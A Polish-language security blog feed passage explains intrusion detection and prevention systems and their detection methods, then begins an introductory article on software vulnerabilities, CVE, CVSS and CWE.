&lt;h3>Network Intrusion Detection System (NIDS)&lt;span class="hx:absolute hx:-mt-20" id="network-intrusion-detection-system-nids">&lt;/span>
&lt;a href="#network-intrusion-detection-system-nids" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Polega on na sprawdzaniu pakietów poruszających się po sieci. Wykonuje obserwacje ruchu przechodzącego na całej podsieci i dopasowuje go, a następnie jest przekazywany na podsieciach do zbioru znanych zagrożeń. Kiedy atak lub niestandardowe zachowanie jest wykryte, ostrzeżenie może zostać wysłane do administratora. NIDS wykonuje to wszystko pasywnie, przez co utrudnia intruzom wykrycie tego, że zostali zauważeni. Działa on w trybie bezładnym, czyli analizuje każdy pakiet. Jeżeli ustawimy kilka z nich w dobrze zlokalizowanych miejscach w sieci firmowej, to są one w stanie doskonale monitorować cały ruch. Niestety NIDS nie jest w stanie analizować szyfrowanych pakietów.&lt;/p>
&lt;h3>Host Intrusion Detection System (HIDS)&lt;span class="hx:absolute hx:-mt-20" id="host-intrusion-detection-system-hids">&lt;/span>
&lt;a href="#host-intrusion-detection-system-hids" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Działa na niezależnych urządzeniach (ang. &lt;em>host&lt;/em>) lub urządzeniach w sieci. Monitoruje wchodzące i wychodzące pakiety, a następnie wysyła ostrzeżenie jeżeli zauważy złośliwą aktywność. Robi migawkę istniejących plików i porównuje ją z poprzednio zrobioną. Jeśli jakiekolwiek pliki zostały edytowane lub usunięte, ostrzeżenie jest wysyłane do administratora w celu sprawdzenia. Pozwala to na wykrywanie np. koni trojańskich. W związku z tym, że znajduje się on na urządzeniu jest w stanie wykryć ataki niewidoczne dla NIDS. Zaszyfrowane pakiety nie stanowią dla niego większego problemu. Niestety wymgają one bardzo często sporej ilości wolnego miejsca na dysku, obciążają system oraz są nie są najłatwiejsze w zarządzaniu. Kolejną wadą jest fakt, że może zostać wyłaczony podczas ataku DoS.&lt;/p>
&lt;p>NIDS oraz HIDS mimo że znacznie różnią się od siebie, w połączeniu doskonale się uzupełniają. Dobrym pomysłem jest wprowadzenie tzw. rozproszonej sieci agentów, z których każdy działa jakby był gospodarzem systemu i wymienia się informacjami z innymi. Takie działanie, powoduje stworzenie bardzo dużej oraz szczegółowej bazy danych z sygnaturami, o czym później.&lt;/p>
&lt;h3>Network Node Intrusion Detection System (NNIDS)&lt;span class="hx:absolute hx:-mt-20" id="network-node-intrusion-detection-system-nnids">&lt;/span>
&lt;a href="#network-node-intrusion-detection-system-nnids" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Istnieje również trzeci, mniej znany, rodzaj IDS - &lt;strong>Network Node Intrusion Detection System (NNIDS)&lt;/strong>. Jest to system hybrydowy, połączenie NIDS oraz HIDS. Udało się w nim wyeliminować niektóre wady podanych wyżej rodzajów IDS. Podczas gdy NIDS pracuje w trybie bezładnym, NNIDS ogranicza się jedynie do wybranych pakietów krążących po sieci, co powoduje szybsze i wydajniejsze działanie. Jest on również niezależny od topologii sieci. Zaszyfrowane dane nie stanowią dla niego problemu, lecz powoduje to obciążenie procesora maszyny. Niestety konieczne jest zainstalowanie całego zestawu pakietów, gdyż każdy z nich musi przesyłać raporty do centralnej konsoli. Istnieje możliwość, że zostanie on wyłączony w trakcie ataku.&lt;/p>
&lt;h2>IPS w pigułce&lt;span class="hx:absolute hx:-mt-20" id="ips-w-pigułce">&lt;/span>
&lt;a href="#ips-w-pigu%c5%82ce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Drugim systemem jest &lt;strong>IPS&lt;/strong> (skr. System zapobiegania intruzom, ang. &lt;em>Intrusion Prevention System&lt;/em>), nazywany także &lt;strong>IDPS&lt;/strong> (ang. &lt;em>Intrusion detection and prevention system&lt;/em>). Działa on na bardzo podobnej zasadzie co IDS, z tą różnicą, że jest w stanie od razu zatrzymać atakującego. Skanuje również sieć w poszukiwaniu niepokojącego zachowania lub przekraczania uprawnień użytkowników lub plików z tą różnicą, że w razie naruszenia jakiejkolwiek polityki bezpieczeństwa jest w stanie:&lt;/p>
&lt;ul>
&lt;li>zamknąć sesję TCP, która została narażona i zablokować odpowiedni adres IP lub zablokować użytkownikowi dostęp do aplikacji oraz innych źródeł internetowych,&lt;/li>
&lt;li>przeprogramować lub przekonfigurować firewall, by zapobiec takim atakom w przyszłości,&lt;/li>
&lt;li>usunąć lub wymienić szkodliwą zawartość, która została w sieci po ataku,&lt;/li>
&lt;li>uruchomić ponownie połączenie.&lt;/li>
&lt;/ul>
&lt;p>IPS stoi zaraz za firewall’em i zapewnia kompletną analizę niebezpiecznej zawartości pakietów. Jest umieszczony pomiędzy bezpośrednią komunikacją nadawcy i odbiorcy. Każdy pakiet, który jest przesyłany, jest dokładnie analizowany pod kątem bezpieczeństwa. Można powiedzieć, że IPS jest połączeniem zapory sieciowej oraz IDS.&lt;/p>
&lt;p>Wróćmy do wcześniej przytoczonego przykładu z ochroną budynku. Firewall, czyli wcześniej wspomniany bramkarz wpuszcza tylko osoby, które mogą tam przebywać. IDS, który jest ochroniarzem chodzącym po sali, sprawdzałby osoby przebywające w pomieszczeniu, natomiast IPS pełniłby funkcję kierownika ochroniarzy, który jest w stanie dodatkowo wyprosić osobę z budynku.&lt;/p>
&lt;p>Ponadto IPS-y są systemami skalowalnymi, co oznacza, że bez problemu można zwiększyć lub zmniejszyć ich ilość w sieci. Natychmiastowo podejmuje decyzje czy należy zaakceptować przychodzące pakiety czy odrzucić. Niestety idzie za tym pewna niedogodność. W związku z tym, że każdy pakiet musi być przeanalizowany, IPS nie sprawdza się w sieciach, w których przepływ danych jest większy niż 1GB/s, ponieważ może to spowodować sytuację, w której nie będzie możliwe poprawne sprawdzenie całej zawartości, co w konsekwencji może spowodować albo false positive’y albo stworzenie tzw. wąskiego gardła, które jest w stanie zakłócić optymalną funkcjonalność sieci teleinformatycznej.&lt;/p>
&lt;h2>Rodzaje IPS&lt;span class="hx:absolute hx:-mt-20" id="rodzaje-ips">&lt;/span>
&lt;a href="#rodzaje-ips" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Podobnie jak w przypadku systemów wykrywania intruzów, IPS-y możemy podzielić na dwa główne rodzaje - &lt;em>NIPS&lt;/em> i &lt;em>HIPS&lt;/em>.&lt;/p>
&lt;h3>Network-based Intrusion Prevention System (NIPS)&lt;span class="hx:absolute hx:-mt-20" id="network-based-intrusion-prevention-system-nips">&lt;/span>
&lt;a href="#network-based-intrusion-prevention-system-nips" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Wchodzi on w skład monitorowania urządzeń w sieci. Zazwyczaj jest skonfigurowany w taki sposób, aby blokował dostęp do niepotrzebnych usług sieciowych. Zapewnia on analizowanie infrastruktury teleinformatycznej w czasie rzeczywistym. Jeżeli NIPS uzna jakiś pakiet za szkodliwy, aktualny i wszystkie następne pakiety należące do podejrzanego przepływu są pomijane;&lt;/p>
&lt;h3>Host-based Intrusion Prevention System (HIPS)&lt;span class="hx:absolute hx:-mt-20" id="host-based-intrusion-prevention-system-hips">&lt;/span>
&lt;a href="#host-based-intrusion-prevention-system-hips" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Jego zadaniem jest skanowanie logów oraz plików hosta. Znaczącą zaletą tego rozwiązania jest to, że jest w stanie monitorować procesy urządzenia oraz chronić go przed krytycznymi problemami, jak np. usunięcie plików. Można dostosować HIPS do konkretnego urządzenia (komputer, serwer). Sprawdzanie plików zazwyczaj opiera się na wsadzeniu ich do tzw. piaskownicy . Tam pliki są analizowane pod kątem gotowych sygnatur i wzorców. Jeżeli okaże się, że jest to szkodliwe oprogramowanie, sprawdzanie zostaje zatrzymane, a jego wykonanie w normalnym systemie jest zabronione. HIPS stanowi połączenie funkcji antywirusowych, antyszpiegowskich, antyspamowych oraz zapór sieciowych.&lt;/p>
&lt;p>Trzecim, nieoficjalnym rodzajem IPS są systemy rozproszone (hybrydowe), łączące dwa powyższe rozwiązania. Gromadzi się w nich dane z wielkiej liczby hostów oraz czujników sieciowych
i przekazuje wyniki do centralnego systemu analizującego, który potrafi korelować i analizować dane, a następnie zwracać zaktualizowane sygnatury i wzorce zachowań, aby umożliwić wszystkim skoordynowanym systemom reagowanie i obronę przed szkodliwym zachowaniem.&lt;/p>
&lt;h2>Budowa i działanie&lt;span class="hx:absolute hx:-mt-20" id="budowa-i-działanie">&lt;/span>
&lt;a href="#budowa-i-dzia%c5%82anie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Każdy IDS oraz IPS składa się z trzech komponentów logicznych:&lt;/p>
&lt;ul>
&lt;li>czujników (sensorów)&lt;/li>
&lt;li>analizatorów&lt;/li>
&lt;li>interfejsu użytkownika&lt;/li>
&lt;/ul>
&lt;p>Czujniki odpowiadają za gromadzenie danych. Wejściem czujnika może być dowolna część systemu, która może zawierać dowody włamania. Do rodzajów danych wejściowych należą pakiety sieciowe, pliki dzienników i ślady wywołań systemowych. Czujniki gromadzą i przekazuję te informacje analizatorowi.&lt;/p>
&lt;p>Analizatory otrzymują dane od jednego lub więcej czujników albo od innych analizatorów. Jest on odpowiedzialny za ustalenie, czy doszło do włamania. Na wyjściu tego komponentu jest wskazanie (sugestia), że mogło dojść do włamania. Analizator może zawierać fakty przemawiające za tym, że włamanie miało miejsce. Może również dostarczać wskazówek co do działań, które należy wykonać w reakcji na włamanie. Dane z czujnika mogą być również przechowywane do późniejszej analizy i przeglądu w komponencie magazynującym lub w bazie danych.&lt;/p>
&lt;p>Interfejs użytkownika umożliwia użytkownikowi obejrzenie wyników z systemu lub pokierowanie zachowaniem systemu. W niektórych systemach interfejs użytkownika może pokrywać się z komponentem zarządcy, kierownika instalacji lub konsoli operatorskiej.&lt;/p>
&lt;h2>Metody detekcji&lt;span class="hx:absolute hx:-mt-20" id="metody-detekcji">&lt;/span>
&lt;a href="#metody-detekcji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Metody detekcji zarówno IDS i IPS nie różnią się znacznie. Bazują one na tych samych sposobach z tą różnicą, że IPS niezwłocznie po wykryciu nieprawidłowości podejmują działania zapobiegawcze. Najczęściej spotykane metody wykrywania prób włamania są oparte na sygnaturach lub o anomalie w systemie.&lt;/p>
&lt;p>Systemy oparte na sygnaturach analizują konkretne wzorce ataków, które zaistniały
w przeszłości. Pod uwagę brane są np. liczby bajtów, liczba &amp;lsquo;0&amp;rsquo; lub &amp;lsquo;1&amp;rsquo; przepływających przez sieć. Metoda ta doskonale radzi sobie z zagrożeniami, które miały miejsce, lecz ma ogromne trudności z wykrywaniem ataków, które nie są wpisane w sygnatury lub które jeszcze nie są znane. Sygnaturami są np. trzykrotna próba zalogowania się lub połączenie się z usługą potencjalnie niebezpieczną.&lt;/p>
&lt;p>Drugą możliwością są systemy oparte na anomaliach w systemie. Zostały one wprowadzone, by wyszukiwać nieznane ataki, które są tworzone w bardzo szybkim tempie. Gromadzą one zbiór zachowań typowych dla użytkownika. Używają do tego uczenia maszynowego, by tworzyć godne zaufania modele aktywności, które nie zostały zaimplementowane w sygnaturach. Metoda ta posiada własność, która pozwala na wytrenowanie się według aplikacji i ustawień sprzętowych. Anomalie niekoniecznie muszą być związane z nietypowym ruchem w sieci. Przykładowym dziwnym zachowaniem jest próba zalogowania w nocy do hosta, na którym normalnie logowanie jest dostępne jedynie w godzinach otwarcia biura. W tym przypadku polega to na wcześniejszym opracowaniu modelu zachowań użytkowników przez zgromadzone dane i przetworzone dane z czujników. Odbywa się to zazwyczaj przez ciągłe lub okresowe monitorowanie danego celu. Po utworzeniu takiego modelu, w fazie wykrywania zachowanie jest obserwowane na bieżąco i porównywane z modelem aby klasyfikować czy jest ono dopuszczalne, czy wskazuje na anomalię.&lt;/p>
&lt;p>Do porównywania obserwacji z modelem używa się reguł:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Statystycznych&lt;/strong> – analizuje obserwowane zachowanie z użyciem modeli jedno albo wieloczynnikowych lub modeli szeregów czasowych obserwowanych metryk. Początkowo używane były jedynie modele jednoczynnikowe, lecz z czasem naukowcy doszli do wniosku, że ich analiza jest zbyt powierzchowna i utworzyli modele wieloczynnikowe. Zdecydowaną zaletą takiego podejścia jest jego prostota, niski koszt obliczeniowy oraz brak założeń dotyczących zachowania. Największą wadą jest trudność w doborze odpowiednich miar umożliwiających uzyskanie rozsądnej równowagi między false positive i false negative.&lt;/li>
&lt;li>&lt;strong>Oparte na wiedzy&lt;/strong> – używane jest przez systemy eksperckie, które obserwują zachowanie według zbioru reguł modelujących. Reguły są wypracowywane w fazie ćwiczebnej, w której obserwowane dane są zaliczane do różnych klas. Następnie dane te wykorzystywane są do klasyfikowania obserwowanych danych w fazie wykrywania. Zaletami takiego podejścia są jego odporność i elastyczność. Wadami są trudność i czas wymagany do wypracowania wysokiej jakości wiedzy na podstawie danych oraz niezbędna pomoc ekspertów&lt;/li>
&lt;li>&lt;strong>Uczenie maszynowe&lt;/strong> – metody automatycznego określania odpowiedniego modelu klasyfikacji na podstawie danych treningowych, z użyciem technik eksploracji danych. Wykorzystywane są techniki eksploracji danych w celu automatycznego zbudowania modelu z użyciem etykietowanych, zwykłych danych ćwiczebnych. Nadaje się on do obserwowania danych jako normalnych i odbiegających od normy. Zaletą takiego podejścia jest elastyczność, adaptowalność i zdolność do wychwytywania współzależności między obserwowanymi metrykami. Zasadniczą wadą jest ilość czasu i zasobów obliczeniowych wymaganych w tym procesie. Jednakże po wygenerowaniu modelu, dalsza analiza jest dość wydajna.&lt;/li>
&lt;/ul>
&lt;p>Wykrywanie ataków z wewnątrz sieci, np. firmy, jest dużo trudniejsze, gdyż różnice między zachowaniami standardowymi i nietypowymi mogą być nieznaczne. Wykrywanie naruszeń tylko za pomocą analizowania anomalii w systemie nie jest wystarczalne, dlatego podjęto pracę nad innym, skuteczniejszym, wydajniejszym sposobem wykrywania ataków.&lt;br>
I tak oto powstała &lt;strong>metoda sygnaturowa (heurystyczna)&lt;/strong>, która opiera się na obserwowaniu zdarzeń w systemie i stosowaniu zbioru sygnatur lub zbioru reguł charakteryzujących niechcianą ingerencję. Jest to idealne dopełnienie metody anomalii. Sygnatury muszą być na tyle duże, by zminimalizować odsetek fałszywych alarmów z utrzymaniem wystarczającego dużego odsetka wykrywania danych szkodliwych. Metoda ta jest powszechnie stosowana w programach antywirusowych. Zaletami są niskie koszty zasobów oraz powszechna akceptacja. Do wad należy ciągłe uaktualnianie i identyfikacja malware w celu wytworzenia sygnatur nadających się do wykrywania ataków dnia zerowego , dla których sygnatury nie istnieją.&lt;/p>
&lt;p>Systemy zapobiegania intruzom (IPS) posiadają jeszcze jeden sposób detekcji. Rozpoznają one różnice różnice w protokołach, poprzez analizę z wcześniej zaobserwowanymi zdarzeniami.&lt;/p>
&lt;h2>Dodatkowe możliwości IPS&lt;span class="hx:absolute hx:-mt-20" id="dodatkowe-możliwości-ips">&lt;/span>
&lt;a href="#dodatkowe-mo%c5%bcliwo%c5%9bci-ips" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>HIPS zazwyczaj oferuje ochronę komputera biurkowego w obszarach:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>wywołania systemowe&lt;/strong> – może zostać skonfigurowany tak, aby sprawdzał każde wywołanie systemowe pod kątem złośliwych charakterystyk,&lt;/li>
&lt;li>&lt;strong>dostęp do systemu plików&lt;/strong> – może zagwarantować, że wywołania systemowe dotyczące dostępu do plików są nieszkodliwe i spełniają zasady przyjętej polityki,&lt;/li>
&lt;li>&lt;strong>ustawienia w rejestrze systemowym&lt;/strong> – może zagwarantować, że rejestr systemowy nie zostanie naruszony,&lt;/li>
&lt;li>&lt;strong>wejście-wyjście hosta&lt;/strong> – może sprawdzać i wymuszać właściwą interakcję klienta z siecią i jego odpowiednie współdziałanie z innymi urządzeniami.&lt;/li>
&lt;/ul>
&lt;p>Do metod stosowanych w NIPS do identyfikowania szkodliwych pakietów można wymienić:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>dopasowywanie wzorców&lt;/strong> – skanuje przychodzące pakiety pod kątem występowania w nich określonych ciągów bajtów zapamiętanych w bazie danych znanych ataków,&lt;/li>
&lt;li>&lt;strong>dopasowywanie stanów&lt;/strong>– poszukuje się znamion ataków w kontekście strumienia ruchu, a nie indywidualnych pakietów,&lt;/li>
&lt;li>&lt;strong>anomalie protokołowe&lt;/strong> – poszukuje się odchyleń od standardów przyjętych w dokumentach RFC,&lt;/li>
&lt;li>&lt;strong>anomalie ruchu&lt;/strong> – obserwuje się ruch doszukując się w nim nienormalnych aktywności, takich jak zatapianie pakietami UDP lub pojawienie się nowej usługi w sieci,&lt;/li>
&lt;li>&lt;strong>anomalie statystyczne&lt;/strong> – opracowuje wzorce normalnego zapotrzebowania na ruch i przepustowość i ogłasza alarmy w przypadku odchyleń od normy.&lt;/li>
&lt;/ul>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Ciężko jest mówić o IDS, nie mówiąc o IPS. Mimo, że są do siebie bardzo podobne, nieznacznie się różnią. Zadaniem IDS jest jedynie wykrywanie zagrożeń i zgłaszanie incydentów w wyznaczone do tego miejsce, natomiast IPS jest w stanie dodatkowo zablokować połączenie lub usunąć szkodliwy plik. Obydwa rozwiązania można umieścić albo w sieci (NIDS, NIPS), albo na urządzeniu końcowym (HIDS, HIPS). Network-based analizują pakiety przepływające w sieci, natomiast Host-based kontrolują aplikacje lub logi w systemie użytkownika. Istnieją rozwiązania hybrydowe, które łączą obydwa powyższe rozwiązania. Złośliwe oprogramowanie lub nietypowe zachowanie jest wykrywane za pomocą porównania ze wzorcami (metoda sygnaturowa) lub za pomocą anomalii w systemie (metoda statystyczna, heurystyczna). Systemy zapobiegania intruzom dodatkowo są w stanie analizować protokoły pod kątem poprawności. Coraz częściej stosuje się nazewnictwo IDPS (Intrusion Detection Prevention System), zamiast osobno IDS i IPS. Można by pisać jeszcze długo, jednak ze szczegółowych mógłby powstać osobny artykuł. Każdy pragnący wejść w świat BlueTeam&amp;rsquo;ingu powinien zapoznać się z tym i samemu pogłębić swoją wiedzę, ponieważ każde narzędzie jest na swój sposób unikatowe.&lt;/p>
&lt;h2>Przydatne linki&lt;span class="hx:absolute hx:-mt-20" id="przydatne-linki">&lt;/span>
&lt;a href="#przydatne-linki" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W Interncie można znaleźć mnóstwo materiałów o tych systemach omówionych przeze mnie w tym artykule. Wybrałem zatem te ciekawsze i które moim zdaniem zasługują na większą uwagę.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Intrusion Detection System&lt;/th>
&lt;th>Intrusion Prevention system&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;a href="https://www.barracuda.com/glossary/intrusion-detection-system"target="_blank" rel="noopener">Barracuda&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.barracuda.com/glossary/intrusion-prevention-system"target="_blank" rel="noopener">Barracuda&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://www.csoonline.com/article/3255632/what-is-an-intrusion-detection-system-how-an-ids-spots-threats.html"target="_blank" rel="noopener">Csonline&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://www.computerworld.pl/news/Systemy-IPS-nie-tylko-wykrywaja-wlamania-ale-im-zapobiegaja,301540.html"target="_blank" rel="noopener">ComputerWorld&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a href="https://searchsecurity.techtarget.com/definition/intrusion-detection-system"target="_blank" rel="noopener">Searchsecurity&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/td>
&lt;td>&lt;a href="https://digitalguardian.com/dskb/intrusion-prevention-system"target="_blank" rel="noopener">DigitalGuardian&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>Kompendium wiedzy - podatności</title><link>https://whitehats.pwr.edu.pl/blog/2020-03-25-podatnosci-wstep/</link><pubDate>Wed, 25 Mar 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-03-25-podatnosci-wstep/</guid><description>
&lt;p>Seria &lt;em>Kompendium wiedzy&lt;/em> ma na celu zebranie podstawowych informacji oraz przydatnych linków w jednym miejscu, aby każdy mógł w pełni zrozumieć wybrany temat oraz samodzielnie go zbadać. W pierwszym artykule zajmiemy się podatnościami - podstawowe definicje, wprowadzenie do oceny CVSS oraz jak rozszyfrować informacje, które można znaleźć przy każdej z nich.&lt;/p>
&lt;p>Ze względu na fakt, że spolszczanie niektórych sformułowań jest&amp;hellip;okropne, będę umieszczać w nawiasach angielskie sformułowania, odpowiadające spolszczeniu. Nie będę używać też języka polskiego na siłę, więc w niektórych miejscach zostawiam oryginalne zwroty.&lt;/p>
&lt;h2>Czym jest podatność (vulnerability)?&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-podatność-vulnerability">&lt;/span>
&lt;a href="#czym-jest-podatno%c5%9b%c4%87-vulnerability" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Najkrócej mówiąc, jest to słabość w systemie informatycznym wykorzystywana przez tzw. cyberprzestępców (threat actors). Podatność może istnieć w systemie, w oprogramowaniu (software) lub bezpośrednio w fizycznym urządzeniu (hardware).&lt;/p>
&lt;h2>Powszechne typy ataków/luk, które wykorzystują podatności&lt;span class="hx:absolute hx:-mt-20" id="powszechne-typy-atakówluk-które-wykorzystują-podatności">&lt;/span>
&lt;a href="#powszechne-typy-atak%c3%b3wluk-kt%c3%b3re-wykorzystuj%c4%85-podatno%c5%9bci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>
&lt;p>&lt;strong>Brak poprawnej walidacji wprowadzanych danych (input validation)&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Wstrzyknięcie kodu (code injection)
&lt;ul>
&lt;li>SQL (SQL injection)&lt;/li>
&lt;li>komendy systemowe (OS injection)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cross-site scripting (XSS)&lt;/li>
&lt;li>Path traversal&lt;/li>
&lt;li>XML External Entity (XXE)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Błędnie zaprojektowany system/oprogramowanie&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Brak szyfrowania danych&lt;/li>
&lt;li>Brak autentykacji dla funkcji krytycznych oprogramowania&lt;/li>
&lt;li>Brak autoryzacji&lt;/li>
&lt;li>Używanie skompromitowanych algorytmów szyfrowania (np. DES)&lt;/li>
&lt;li>Ustawienie haseł podatnych na ich odgadnięcie (ataki typu bruteforce)&lt;/li>
&lt;li>Bugi&lt;/li>
&lt;li>Brak weryfikacji sum kontrolnych pobieranych pakietów np. aktualizujących oprogramowanie&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Błędy w pamięci&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Przepełnienie bufora (buffer overflow)&lt;/strong> - zapisanie przez programistę nadprogramowych, nieprzewidzianych danych w określonym miejscu w pamięci.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Hardware&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Side-channel attack&lt;/strong> - analiza parametrów fizycznych (pobór prądu, temperatura, czas wykonywania żądań, fale elektromagnetyczne), aby obejść zabezpieczenia. Przykładem może być analiza temperatury przycisków terminala, w celu otrzymania kodu PIN kupującego.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Eskalacja uprawnień (priviledge escalation)&lt;/strong> - wykonanie żądania aplikacji/atakującego przez aplikację uprzywilejowaną np. systemową na prawach systemu.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Najbardziej niebezpiecznymi podatnościami są takie, które po ich wykorzystaniu pozwalają na &lt;strong>zdalne wykonanie kodu (RCE - remote code execution)&lt;/strong>. Pozwala to atakującemu działać w systemie/oprogramowaniu niezauważalnie, szpiegować ofiarę przez długi czas, rozdystrybuować przygotowane złośliwe oprogramowanie (malware), infekować powiązane urządzenia w sieci, przeprowadzać rekonesans itd. Przy wykryciu podatności RCE w swoim oprogramowaniu należy niezwłocznie ją przeanalizować oraz jeśli to możliwe - wdrożyć zalecenia producenta.&lt;/p>
&lt;h2>Co zawiera w sobie opis podatności?&lt;span class="hx:absolute hx:-mt-20" id="co-zawiera-w-sobie-opis-podatności">&lt;/span>
&lt;a href="#co-zawiera-w-sobie-opis-podatno%c5%9bci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W opisie podatności (na stronie producenta, &lt;a href="https://nvd.nist.gov/vuln/full-listing"target="_blank" rel="noopener">w bazie NVD&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (National Vulnerability Database), &lt;a href="https://cve.mitre.org/index.html"target="_blank" rel="noopener">w Mitre&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>) można znaleźć:&lt;/p>
&lt;ul>
&lt;li>Krótką informację o podatności lub luce.&lt;/li>
&lt;li>Numer &lt;a href="#cve---common-vulnerabilities-and-exposures">&lt;strong>CVE&lt;/strong>&lt;/a>.&lt;/li>
&lt;li>Podatne wersje systemów/oprogramowania.&lt;/li>
&lt;li>Zalecane możliwości złagodzenia wpływu podatności &lt;a href="#mitygacja">&lt;strong>(mitigation)&lt;/strong>&lt;/a> i jej obejścia &lt;a href="#mitygacja">&lt;strong>(workaround)&lt;/strong>&lt;/a>.&lt;/li>
&lt;li>Wycena dotkliwości &lt;a href="#severity">&lt;strong>(Severity)&lt;/strong>&lt;/a> wykrytej podatności.&lt;/li>
&lt;li>Określenie możliwości wykorzystania podatności oraz jej wpływu za pomocą &lt;a href="#cvss---common-vulnerabilities-scoring-system">&lt;strong>CVSS (Common Vulnerability Scoring System)&lt;/strong>&lt;/a>.&lt;/li>
&lt;li>Referencje, odnośniki do strony producenta, linki do &lt;a href="#czym-jest-proof-of-concept-i-exploit?">&lt;strong>Proof of Concept/Exploit&amp;rsquo;ów&lt;/strong>&lt;/a> w sieci.&lt;/li>
&lt;li>Wskazanie kategorii &lt;a href="#CWE---common-weakness-enumeration">&lt;strong>CWE (Common Weakness Enumeration)&lt;/strong>&lt;/a>, w której nie dopilnowano dobrych manier w zabezpieczaniu oprogramowania dla danej podatności.&lt;/li>
&lt;/ul>
